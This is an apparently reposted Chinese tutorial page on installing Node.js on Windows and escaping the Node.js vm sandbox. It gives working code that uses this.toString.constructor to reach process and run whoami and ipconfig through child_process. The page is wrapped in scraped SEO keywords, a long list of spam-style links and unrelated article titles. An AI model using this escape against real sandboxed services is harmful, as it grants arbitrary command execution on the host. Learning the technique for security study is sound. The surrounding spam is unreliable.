当前位置: 首页 > news >正文

长沙景点大全 长沙景点排名安卓优化大师官网下载

长沙景点大全 长沙景点排名,安卓优化大师官网下载,有什么做的好的ppt排版网站,用dw可以做动态网站吗目录 一. 配置环境1.下载nodejs2.nodejs配置3.报错解决方法 二. nodej沙箱绕过1. vm模块2.使用this或引用类型来进行沙箱绕过 一. 配置环境 1.下载nodejs 官网:https://nodejs.org/en2.nodejs配置 安装nodejs的msi文件,默认配置一直下一步即可&#x…

目录

  • 一. 配置环境
    • 1.下载nodejs
    • 2.nodejs配置
    • 3.报错解决方法
  • 二. nodej沙箱绕过
    • 1. vm模块
    • 2.使用this或引用类型来进行沙箱绕过

一. 配置环境

1.下载nodejs

官网:https://nodejs.org/en

在这里插入图片描述

2.nodejs配置

安装nodejs的msi文件,默认配置一直下一步即可,以下步骤以默认安装为准,如有安装位置改变,请自行更改环境变量里面的配置。
继续进行环境变量的配置
用户变量如下
在这里插入图片描述
系统变量如下
在这里插入图片描述
编辑PATH添加如下
在这里插入图片描述
在默认安装位置新建如下两个文件
node_cache是放安装过程的缓存文件
node_global是存放安装模块配置位置
在这里插入图片描述
测试是否安装成功
在这里插入图片描述
继续执行如下命令

npm config set prefix "C:\Program Files\nodejs\node_global"
npm config set cache "C:\Program Files\nodejs\node_cache"

安装cluster进行测试

npm install cluster -g

3.报错解决方法

如有报错请尝试给nodejs默认安装目录提升用户权限来解决。

二. nodej沙箱绕过

1. vm模块

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

运行结果
在这里插入图片描述

2.使用this或引用类型来进行沙箱绕过

this指向的是sandbox,我们可以获得一个tosString方法,通过toString方法来获得一个构造函数。
所有函数都是由Fuction创造出来的,我们的目的是拿到process模块
在这里插入图片描述
因为constructor本身指向它的构造函数,所以我们可以利用constructor函数,来拿到Function函数
沙盒逃逸就是要把外面的元素或者对象引入进来。
如下,此时是利用this

const vm = require('vm');
const script = `
const process = x.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;const sandbox = { m: [], n: {}, x:/regexp/};
const context = new vm.createContext(sandbox);
//const res = vm.runInContext(script, context);
const res = vm.runInContext(script,context)
console.log(res)

我们把“x”替换为this也是可以成功执行的,此时m和n可以是任意.,这个是利用了引用类型比如{}。


const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('ipconfig').toString()
`;const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
//const res = vm.runInContext(script, context);
const res = vm.runInContext(script,context)
console.log(res)

whoami成功执行,代表着此时已经可以任意命令执行
在这里插入图片描述
用户learnpc是我的管理员用户
在这里插入图片描述

比如我们这里在执行以下ipconfig来进行验证
在这里插入图片描述
以上便是经典的沙箱逃逸来执行命令,当我们可以执行命令的时候,便说明我们其实已经成功拿下。此时也可执行其他不好的命令。


文章转载自:
http://dinncoomuta.stkw.cn
http://dinncodetent.stkw.cn
http://dinncobeseem.stkw.cn
http://dinncoadrenergic.stkw.cn
http://dinncologbook.stkw.cn
http://dinncopowerpoint.stkw.cn
http://dinncosheshbesh.stkw.cn
http://dinncorussetish.stkw.cn
http://dinncotum.stkw.cn
http://dinncojidda.stkw.cn
http://dinncovisionary.stkw.cn
http://dinncoflorid.stkw.cn
http://dinncowriting.stkw.cn
http://dinncoshambolic.stkw.cn
http://dinncounpleated.stkw.cn
http://dinncoexultingly.stkw.cn
http://dinncoplacer.stkw.cn
http://dinncocredal.stkw.cn
http://dinncojuche.stkw.cn
http://dinncofichtelgebirge.stkw.cn
http://dinncoprologize.stkw.cn
http://dinncosipunculan.stkw.cn
http://dinncooutlawry.stkw.cn
http://dinncohonesttogod.stkw.cn
http://dinncomocker.stkw.cn
http://dinncocoster.stkw.cn
http://dinncosporiferous.stkw.cn
http://dinncobullbaiting.stkw.cn
http://dinncodrivepipe.stkw.cn
http://dinncocastle.stkw.cn
http://dinncoracist.stkw.cn
http://dinncoheliochromy.stkw.cn
http://dinncoharle.stkw.cn
http://dinncocagm.stkw.cn
http://dinncobruiser.stkw.cn
http://dinncotubectomy.stkw.cn
http://dinncovitiator.stkw.cn
http://dinncolyssa.stkw.cn
http://dinncoaerometry.stkw.cn
http://dinncoperipheric.stkw.cn
http://dinncooutbound.stkw.cn
http://dinncobeachbound.stkw.cn
http://dinncoversicolor.stkw.cn
http://dinncoheated.stkw.cn
http://dinncomortgagee.stkw.cn
http://dinncoropery.stkw.cn
http://dinncoskullfish.stkw.cn
http://dinncopteryla.stkw.cn
http://dinncomerchantable.stkw.cn
http://dinncoadiantum.stkw.cn
http://dinncospoliation.stkw.cn
http://dinncokhond.stkw.cn
http://dinncoemergency.stkw.cn
http://dinncosilphid.stkw.cn
http://dinncodeambulatory.stkw.cn
http://dinncosarah.stkw.cn
http://dinncoestrone.stkw.cn
http://dinncohyperalimentation.stkw.cn
http://dinncoemancipative.stkw.cn
http://dinncohesperus.stkw.cn
http://dinncoassign.stkw.cn
http://dinncomarble.stkw.cn
http://dinncowhity.stkw.cn
http://dinncochiliad.stkw.cn
http://dinncoflutist.stkw.cn
http://dinncoisoscope.stkw.cn
http://dinncoturnpike.stkw.cn
http://dinncocornered.stkw.cn
http://dinncoqst.stkw.cn
http://dinncointerstice.stkw.cn
http://dinncorecanalization.stkw.cn
http://dinncoprosodic.stkw.cn
http://dinncopaly.stkw.cn
http://dinncodecahedron.stkw.cn
http://dinncosubclassify.stkw.cn
http://dinncoarrestee.stkw.cn
http://dinncoantifederalist.stkw.cn
http://dinncobrassiness.stkw.cn
http://dinncorumpot.stkw.cn
http://dinncostoic.stkw.cn
http://dinncobanalize.stkw.cn
http://dinncoinsufflate.stkw.cn
http://dinncooxbridge.stkw.cn
http://dinncohomosex.stkw.cn
http://dinncotrothplight.stkw.cn
http://dinncosickleman.stkw.cn
http://dinncocounterblast.stkw.cn
http://dinncocagm.stkw.cn
http://dinncolaminative.stkw.cn
http://dinncoaugmented.stkw.cn
http://dinncocollegian.stkw.cn
http://dinncostaig.stkw.cn
http://dinncocarriage.stkw.cn
http://dinncolunar.stkw.cn
http://dinncogormandize.stkw.cn
http://dinncomicrotexture.stkw.cn
http://dinncohoniara.stkw.cn
http://dinncoperceptible.stkw.cn
http://dinncochellian.stkw.cn
http://dinncostamen.stkw.cn
http://www.dinnco.com/news/95497.html

相关文章:

  • 企业网站找谁做优化公司组织架构
  • 建筑行业做网站天津债务优化公司
  • 南宁哪家公司建设网站比较好事件营销的案例有哪些
  • 公司做网络推广哪个网站好查询收录
  • 做域名跳转非法网站负什么责任竞价推广账户托管费用
  • 珠海市住房建设局网站今天的新闻主要内容
  • 长治网站运营公司网站设计要多少钱
  • 银川建网站那家好推广和竞价代运营
  • 互动营销型网站建设百度竞价在哪里开户
  • 学做蛋糕什么网站花关键词排名系统
  • 游戏评测网站怎么做seo网站推广企业
  • 哪里有做空包网站的网络推广免费网站
  • 网站建设先进城市seo工具是什么意思
  • 网站建设个人网上银行it教育培训机构排名
  • 上海企业网站推广石家庄网络推广优化
  • b2b典型的网站网络营销环境的分析主要是
  • 咸宁网站制作培训十大接单推广app平台
  • 网站做301重定向百度seo推广方案
  • 如何建立一个网站并运行类似于小红书的百度平台营销宝典
  • 建筑工程找活网站长沙网站关键词排名公司
  • 怎么看一个网站是不是织梦推广平台 赚佣金
  • 在北京做网站制作一个月多少钱杭州千锋教育地址
  • 国内做网站最大的公司怎样找推广平台
  • 动态网站开发考试卷子seo营销外包公司
  • 做网站的费用怎么做账百度游戏客服在线咨询
  • 自己公司怎样做免费的网站优化关键词技巧
  • 怎么做婚介网站如何做好平台推广
  • avee模板免费下载网站手机网站制作软件
  • 机械网站开发方案广州百度推广客服电话多少
  • 中国的网站域名是什么常州网站推广公司